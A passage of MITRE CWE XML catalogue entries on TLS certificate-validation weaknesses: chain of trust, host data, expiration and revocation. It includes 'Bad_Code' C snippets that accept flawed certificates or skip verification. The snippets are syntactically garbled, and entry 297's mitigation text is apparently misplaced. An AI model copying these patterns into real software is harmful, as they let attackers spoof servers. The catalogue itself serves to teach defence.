						proceeds to check only that the first link in the chain, no real trust has
						been derived, since you must traverse the chain to a trusted source to
						verify the certificate.</Text>
				        </Note>
			      </Other_Notes>
			      <Time_of_Introduction>
				        <Introductory_Phase>Architecture and Design</Introductory_Phase>
			      </Time_of_Introduction>
			      <Likelihood_of_Exploit>Low</Likelihood_of_Exploit>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Non-Repudiation</Consequence_Scope>
					          <Consequence_Technical_Impact>Hide activities</Consequence_Technical_Impact>
					          <Consequence_Note>
						            <Text>Exploitation of this flaw can lead to the trust of data that may have
							originated with a spoofed source.</Text>
					          </Consequence_Note>
				        </Common_Consequence>
				        <Common_Consequence>
					          <Consequence_Scope>Integrity</Consequence_Scope>
					          <Consequence_Scope>Confidentiality</Consequence_Scope>
					          <Consequence_Scope>Availability</Consequence_Scope>
					          <Consequence_Scope>Access_Control</Consequence_Scope>
					          <Consequence_Technical_Impact>Gain privileges / assume
						identity</Consequence_Technical_Impact>
					          <Consequence_Technical_Impact>Execute unauthorized code or
						commands</Consequence_Technical_Impact>
					          <Consequence_Note>
						            <Text>Data, requests, or actions taken by the attacking entity can be
							carried out as a spoofed benign entity.</Text>
					          </Consequence_Note>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Potential_Mitigations>
				        <Mitigation>
					          <Mitigation_Phase>Architecture and Design</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Ensure that proper certificate checking is included in the system
							design.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation>
					          <Mitigation_Phase>Implementation</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Understand, and properly implement all checks necessary to ensure the
							integrity of certificate trust integrity.</Text>
					          </Mitigation_Description>
				        </Mitigation>
			      </Potential_Mitigations>
			      <Demonstrative_Examples>
				        <Demonstrative_Example>
					          <Intro_Text/>
					          <Example_Body>
						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>C</Code_Example_Language>
							              <Code_Example_Language>C++</Code_Example_Language>
							              <Code>if (!(cert = SSL_get_peer(certificate(ssl)) ||
								!host)foo=SSL_get_verify_result(ssl);</Code>
							              <Code>if ((X509_V_OK==foo) ||
								X509_V_ERR_SELF_SIGNED_CERT_IN_CHAIN==foo)) //do stuff</Code>
						            </Block>
					          </Example_Body>
				        </Demonstrative_Example>
			      </Demonstrative_Examples>
			      <References>
				        <Reference Reference_ID="REF-17">
					          <Reference_Author>Michael Howard</Reference_Author>
					          <Reference_Author>David LeBlanc</Reference_Author>
					          <Reference_Author>John Viega</Reference_Author>
					          <Reference_Title>24 Deadly Sins of Software Security</Reference_Title>
					          <Reference_Section>"Sin 23: Improper Use of PKI, Especially SSL." Page
						347</Reference_Section>
					          <Reference_Publication>McGraw-Hill</Reference_Publication>
					          <Reference_PubDate>2010</Reference_PubDate>
				        </Reference>
			      </References>
			      <Taxonomy_Mappings>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="CLASP">
					          <Mapped_Node_Name>Failure to follow chain of trust in certificate
						validation</Mapped_Node_Name>
				        </Taxonomy_Mapping>
			      </Taxonomy_Mappings>
			      <Content_History>
				        <Submission Submission_Source="Externally_Mined">
					          <Submitter>CLASP</Submitter>
				        </Submission>
				        <Modification Modification_Source="External">
					          <Modifier>Eric Dalci</Modifier>
					          <Modifier_Organization>Cigital</Modifier_Organization>
					          <Modification_Date>2008-07-01</Modification_Date>
					          <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Common_Consequences, Relationships, Other_Notes,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-03-10</Modification_Date>
					          <Modification_Comment>updated Description, Name,
						Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-05-27</Modification_Date>
					          <Modification_Comment>updated Demonstrative_Examples</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-07-27</Modification_Date>
					          <Modification_Comment>updated Demonstrative_Examples</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-12-13</Modification_Date>
					          <Modification_Comment>updated Other_Notes</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated References, Relationships</Modification_Comment>
				        </Modification>
				        <Previous_Entry_Names>
					          <Previous_Entry_Name Name_Change_Date="2009-03-10">Failure to Follow Chain of
						Trust in Certificate Validation</Previous_Entry_Name>
				        </Previous_Entry_Names>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="297" Name="Improper Validation of Host-specific Certificate Data" Weakness_Abstraction="Base" Status="Incomplete">
			      <Description>
				        <Description_Summary>Host-specific certificate data is not validated or is
					incorrectly validated, so while the certificate read is valid, it may not be for
					the site originally requested.</Description_Summary>
				        <Extended_Description>
					          <Text>If the host-specific data contained in a certificate is not checked, it
						may be possible for a redirection or spoofing attack to allow a malicious
						host with a valid certificate to provide data, impersonating a trusted host.
						While the attacker in question may have a valid certificate, it may simply
						be a valid certificate for a different site. In order to ensure data
						integrity, we must check that the certificate is valid and that it pertains
						to the site that we wish to access.</Text>
				        </Extended_Description>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>345</Relationship_Target_ID>
					          <!--Insufficient Verification of Data Authenticity-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID>1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>754</Relationship_Target_ID>
					          <!--Improper Check for Unusual or Exceptional Conditions-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>295</Relationship_Target_ID>
					          <!--Certificate Issues-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID>1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>PeerOf</Relationship_Nature>
					          <Relationship_Target_ID>296</Relationship_Target_ID>
					          <!--Improper Following of Chain of Trust for Certificate Validation-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID>1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>PeerOf</Relationship_Nature>
					          <Relationship_Target_ID>298</Relationship_Target_ID>
					          <!--Improper Validation of Certificate Expiration-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID>1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>PeerOf</Relationship_Nature>
					          <Relationship_Target_ID>299</Relationship_Target_ID>
					          <!--Improper Check for Certificate Revocation-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>898</Relationship_Target_ID>
					          <!--SFP Cluster: Authentication-->
				</Relationship>
			      </Relationships>
			      <Applicable_Platforms>
				        <Languages>
					          <Language_Class Language_Class_Description="All"/>
				        </Languages>
			      </Applicable_Platforms>
			      <Time_of_Introduction>
				        <Introductory_Phase>Architecture and Design</Introductory_Phase>
			      </Time_of_Introduction>
			      <Likelihood_of_Exploit>High</Likelihood_of_Exploit>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Access_Control</Consequence_Scope>
					          <Consequence_Technical_Impact>Gain privileges / assume
						identity</Consequence_Technical_Impact>
					          <Consequence_Note>
						            <Text>The data read from the system vouched for by the certificate may not
							be from the expected system.</Text>
					          </Consequence_Note>
				        </Common_Consequence>
				        <Common_Consequence>
					          <Consequence_Scope>Authentication</Consequence_Scope>
					          <Consequence_Scope>Other</Consequence_Scope>
					          <Consequence_Technical_Impact>Other</Consequence_Technical_Impact>
					          <Consequence_Note>
						            <Text>Trust afforded to the system in question -- based on the expired
							certificate -- may allow for spoofing or redirection attacks.</Text>
					          </Consequence_Note>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Potential_Mitigations>
				        <Mitigation>
					          <Mitigation_Phase>Architecture and Design</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Check for expired certificates and provide the user with adequate
							information about the nature of the problem and how to proceed.</Text>
					          </Mitigation_Description>
				        </Mitigation>
			      </Potential_Mitigations>
			      <Demonstrative_Examples>
				        <Demonstrative_Example>
					          <Intro_Text/>
					          <Example_Body>
						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>C</Code_Example_Language>
							              <Code_Example_Language>C++</Code_Example_Language>
							              <Code>if (!(cert = SSL_get_peer(certificate(ssl)) || !host)
								foo=SSL_get_verify_result(ssl);</Code>
							              <Code>if ((X509_V_OK==foo) || X509_V_ERR_SUBJECT_ISSUER_MISMATCH==foo))
								//do stuff</Code>
						            </Block>
					          </Example_Body>
				        </Demonstrative_Example>
			      </Demonstrative_Examples>
			      <References>
				        <Reference Reference_ID="REF-17">
					          <Reference_Author>Michael Howard</Reference_Author>
					          <Reference_Author>David LeBlanc</Reference_Author>
					          <Reference_Author>John Viega</Reference_Author>
					          <Reference_Title>24 Deadly Sins of Software Security</Reference_Title>
					          <Reference_Section>"Sin 23: Improper Use of PKI, Especially SSL." Page
						347</Reference_Section>
					          <Reference_Publication>McGraw-Hill</Reference_Publication>
					          <Reference_PubDate>2010</Reference_PubDate>
				        </Reference>
			      </References>
			      <Taxonomy_Mappings>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="CLASP">
					          <Mapped_Node_Name>Failure to validate host-specific certificate
						data</Mapped_Node_Name>
				        </Taxonomy_Mapping>
			      </Taxonomy_Mappings>
			      <Content_History>
				        <Submission Submission_Source="Externally_Mined">
					          <Submitter>CLASP</Submitter>
				        </Submission>
				        <Modification Modification_Source="External">
					          <Modifier>Eric Dalci</Modifier>
					          <Modifier_Organization>Cigital</Modifier_Organization>
					          <Modification_Date>2008-07-01</Modification_Date>
					          <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Common_Consequences, Relationships, Other_Notes,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-03-10</Modification_Date>
					          <Modification_Comment>updated Description, Name,
						Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-05-27</Modification_Date>
					          <Modification_Comment>updated Demonstrative_Examples</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-07-27</Modification_Date>
					          <Modification_Comment>updated Demonstrative_Examples,
						Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-12-13</Modification_Date>
					          <Modification_Comment>updated Description, Other_Notes</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated References, Relationships</Modification_Comment>
				        </Modification>
				        <Previous_Entry_Names>
					          <Previous_Entry_Name Name_Change_Date="2009-03-10">Failure to Validate
						Host-specific Certificate Data</Previous_Entry_Name>
				        </Previous_Entry_Names>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="298" Name="Improper Validation of Certificate Expiration" Weakness_Abstraction="Base" Status="Draft">
			      <Description>
				        <Description_Summary>A certificate expiration is not validated or is incorrectly
					validated, so trust may be assigned to certificates that have been abandoned due
					to age.</Description_Summary>
				        <Extended_Description>
					          <Text>When the expiration of a certificate is not taken into account no trust
						has necessarily been conveyed through it. Therefore, the validity of the
						certificate cannot be verified and all benefit of the certificate is
						lost.</Text>
				        </Extended_Description>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>672</Relationship_Target_ID>
					          <!--Operation on a Resource after Expiration or Release-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID>1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>754</Relationship_Target_ID>
					          <!--Improper Check for Unusual or Exceptional Conditions-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>295</Relationship_Target_ID>
					          <!--Certificate Issues-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID>1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>PeerOf</Relationship_Nature>
					          <Relationship_Target_ID>296</Relationship_Target_ID>
					          <!--Improper Following of Chain of Trust for Certificate Validation-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID>1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>PeerOf</Relationship_Nature>
					          <Relationship_Target_ID>297</Relationship_Target_ID>
					          <!--Improper Validation of Host-specific Certificate Data-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID>1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>PeerOf</Relationship_Nature>
					          <Relationship_Target_ID>322</Relationship_Target_ID>
					          <!--Key Exchange without Entity Authentication-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID>1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>PeerOf</Relationship_Nature>
					          <Relationship_Target_ID>299</Relationship_Target_ID>
					          <!--Improper Check for Certificate Revocation-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID>1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>PeerOf</Relationship_Nature>
					          <Relationship_Target_ID>324</Relationship_Target_ID>
					          <!--Use of a Key Past its Expiration Date-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">711</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>724</Relationship_Target_ID>
					          <!--OWASP Top Ten 2004 Category A3 - Broken Authentication and Session Management-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>898</Relationship_Target_ID>
					          <!--SFP Cluster: Authentication-->
				</Relationship>
			      </Relationships>
			      <Applicable_Platforms>
				        <Languages>
					          <Language_Class Language_Class_Description="All"/>
				        </Languages>
			      </Applicable_Platforms>
			      <Time_of_Introduction>
				        <Introductory_Phase>Architecture and Design</Introductory_Phase>
			      </Time_of_Introduction>
			      <Likelihood_of_Exploit>Low</Likelihood_of_Exploit>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Integrity</Consequence_Scope>
					          <Consequence_Scope>Other</Consequence_Scope>
					          <Consequence_Technical_Impact>Other</Consequence_Technical_Impact>
					          <Consequence_Note>
						            <Text>The data read from the system vouched for by the expired certificate
							may be flawed due to malicious spoofing.</Text>
					          </Consequence_Note>
				        </Common_Consequence>
				        <Common_Consequence>
					          <Consequence_Scope>Authentication</Consequence_Scope>
					          <Consequence_Scope>Other</Consequence_Scope>
					          <Consequence_Technical_Impact>Other</Consequence_Technical_Impact>
					          <Consequence_Note>
						            <Text>Trust afforded to the system in question -- based on the expired
							certificate -- may allow for spoofing attacks.</Text>
					          </Consequence_Note>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Potential_Mitigations>
				        <Mitigation>
					          <Mitigation_Phase>Architecture and Design</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Check for expired certificates and provide the user with adequate
							information about the nature of the problem and how to proceed.</Text>
					          </Mitigation_Description>
				        </Mitigation>
			      </Potential_Mitigations>
			      <Demonstrative_Examples>
				        <Demonstrative_Example>
					          <Intro_Text/>
					          <Example_Body>
						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>C</Code_Example_Language>
							              <Code_Example_Language>C++</Code_Example_Language>
							              <Code>if (!(cert = SSL_get_peer(certificate(ssl)) || !host)
								foo=SSL_get_verify_result(ssl);</Code>
							              <Code>if ((X509_V_OK==foo) || (X509_V_ERRCERT_NOT_YET_VALID==foo)) //do
								stuff</Code>
						            </Block>
					          </Example_Body>
				        </Demonstrative_Example>
			      </Demonstrative_Examples>
			      <References>
				        <Reference Reference_ID="REF-17">
					          <Reference_Author>Michael Howard</Reference_Author>
					          <Reference_Author>David LeBlanc</Reference_Author>
					          <Reference_Author>John Viega</Reference_Author>
					          <Reference_Title>24 Deadly Sins of Software Security</Reference_Title>
					          <Reference_Section>"Sin 23: Improper Use of PKI, Especially SSL." Page
						347</Reference_Section>
					          <Reference_Publication>McGraw-Hill</Reference_Publication>
					          <Reference_PubDate>2010</Reference_PubDate>
				        </Reference>
			      </References>
			      <Taxonomy_Mappings>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="CLASP">
					          <Mapped_Node_Name>Failure to validate certificate expiration</Mapped_Node_Name>
				        </Taxonomy_Mapping>
			      </Taxonomy_Mappings>
			      <Content_History>
				        <Submission Submission_Source="Externally_Mined">
					          <Submitter>CLASP</Submitter>
				        </Submission>
				        <Modification Modification_Source="External">
					          <Modifier>Eric Dalci</Modifier>
					          <Modifier_Organization>Cigital</Modifier_Organization>
					          <Modification_Date>2008-07-01</Modification_Date>
					          <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Common_Consequences, Relationships, Other_Notes,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-03-10</Modification_Date>
					          <Modification_Comment>updated Description, Name,
						Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-05-27</Modification_Date>
					          <Modification_Comment>updated Demonstrative_Examples</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-07-27</Modification_Date>
					          <Modification_Comment>updated Demonstrative_Examples</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-10-29</Modification_Date>
					          <Modification_Comment>updated Description, Other_Notes</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated References, Relationships</Modification_Comment>
				        </Modification>
				        <Previous_Entry_Names>
					          <Previous_Entry_Name Name_Change_Date="2009-03-10">Failure to Validate
						Certificate Expiration</Previous_Entry_Name>
				        </Previous_Entry_Names>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="299" Name="Improper Check for Certificate Revocation" Weakness_Abstraction="Base" Status="Draft">
			      <Description>
				        <Description_Summary>The software does not check or incorrectly checks the
					revocation status of a certificate, which may cause it to use a certificate that
					has been compromised.</Description_Summary>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>404</Relationship_Target_ID>
					          <!--Improper Resource Shutdown or Release-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID>1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>754</Relationship_Target_ID>
					          <!--Improper Check for Unusual or Exceptional Conditions-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>295</Relationship_Target_ID>
					          <!--Certificate Issues-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID>1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>PeerOf</Relationship_Nature>
					          <Relationship_Target_ID>296</Relationship_Target_ID>
					          <!--Improper Following of Chain of Trust for Certificate Validation-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID>1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>PeerOf</Relationship_Nature>
					          <Relationship_Target_ID>297</Relationship_Target_ID>
					          <!--Improper Validation of Host-specific Certificate Data-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID>1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>PeerOf</Relationship_Nature>
					          <Relationship_Target_ID>322</Relationship_Target_ID>
					          <!--Key Exchange without Entity Authentication-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID>1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>PeerOf</Relationship_Nature>
					          <Relationship_Target_ID>298</Relationship_Target_ID>
					          <!--Improper Validation of Certificate Expiration-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>898</Relationship_Target_ID>
					          <!--SFP Cluster: Authentication-->
				</Relationship>
			      </Relationships>
			      <Applicable_Platforms>
				        <Languages>
					          <Language_Class Language_Class_Description="All"/>
				        </Languages>
			      </Applicable_Platforms>
			      <Other_Notes>
				        <Note>
					          <Text>An improper check for certificate revocation is a far more serious flaw
						than related certificate failures. This is because the use of any revoked
						certificate is almost certainly malicious. The most common reason for
						certificate revocation is compromise of the system in question, with the
						result that no legitimate servers will be using a revoked certificate,
						unless they are sorely out of sync.</Text>
				        </Note>
			      </Other_Notes>
			      <Time_of_Introduction>
				        <Introductory_Phase>Architecture and Design</Introductory_Phase>
			      </Time_of_Introduction>
			      <Likelihood_of_Exploit>Medium</Likelihood_of_Exploit>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Access_Control</Consequence_Scope>
					          <Consequence_Technical_Impact>Gain privileges / assume
						identity</Consequence_Technical_Impact>
					          <Consequence_Note>
						            <Text>Trust may be assigned to an entity who is not who it claims to
							be.</Text>
					          </Consequence_Note>
				        </Common_Consequence>
				        <Common_Consequence>
					          <Consequence_Scope>Integrity</Consequence_Scope>
					          <Consequence_Scope>Other</Consequence_Scope>
					          <Consequence_Technical_Impact>Other</Consequence_Technical_Impact>
					          <Consequence_Note>
						            <Text>Data from an untrusted (and possibly malicious) source may be
							integrated.</Text>
					          </Consequence_Note>
				        </Common_Consequence>
				        <Common_Consequence>
					          <Consequence_Scope>Confidentiality</Consequence_Scope>
					          <Consequence_Technical_Impact>Read application
						data</Consequence_Technical_Impact>
					          <Consequence_Note>
						            <Text>Data may be disclosed to an entity impersonating a trusted entity,
							resulting in information disclosure.</Text>
					          </Consequence_Note>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Potential_Mitigations>
				        <Mitigation>
					          <Mitigation_Phase>Architecture and Design</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Ensure that certificates are checked for revoked status.</Text>
					          </Mitigation_Description>
				        </Mitigation>
			      </Potential_Mitigations>
			      <Demonstrative_Examples>
				        <Demonstrative_Example>
					          <Intro_Text/>
					          <Example_Body>
						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>C</Code_Example_Language>
							              <Code_Example_Language>C++</Code_Example_Language>
							              <Code>if (!(cert = SSL_get_peer(certificate(ssl)) || !host)</Code>
							              <Code>...</Code>
							              <Code>without a get_verify_results</Code>
						            </Block>
					          </Example_Body>
				        </Demonstrative_Example>
			      </Demonstrative_Examples>
			      <References>
				        <Reference Reference_ID="REF-17">
					          <Reference_Author>Michael Howard</Reference_Author>
					          <Reference_Author>David LeBlanc</Reference_Author>
					          <Reference_Author>John Viega</Reference_Author>
					          <Reference_Title>24 Deadly Sins of Software Security</Reference_Title>
					          <Reference_Section>"Sin 23: Improper Use of PKI, Especially SSL." Page
						347</Reference_Section>
					          <Reference_Publication>McGraw-Hill</Reference_Publication>
					          <Reference_PubDate>2010</Reference_PubDate>
				        </Reference>
			      </References>
			      <Taxonomy_Mappings>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="CLASP">
					          <Mapped_Node_Name>Failure to check for certificate revocation</Mapped_Node_Name>
				        </Taxonomy_Mapping>
			      </Taxonomy_Mappings>
			      <Content_History>
				        <Submission Submission_Source="Externally_Mined">
					          <Submitter>CLASP</Submitter>
				        </Submission>
				        <Modification Modification_Source="External">
					          <Modifier>Eric Dalci</Modifier>
					          <Modifier_Organization>Cigital</Modifier_Organization>
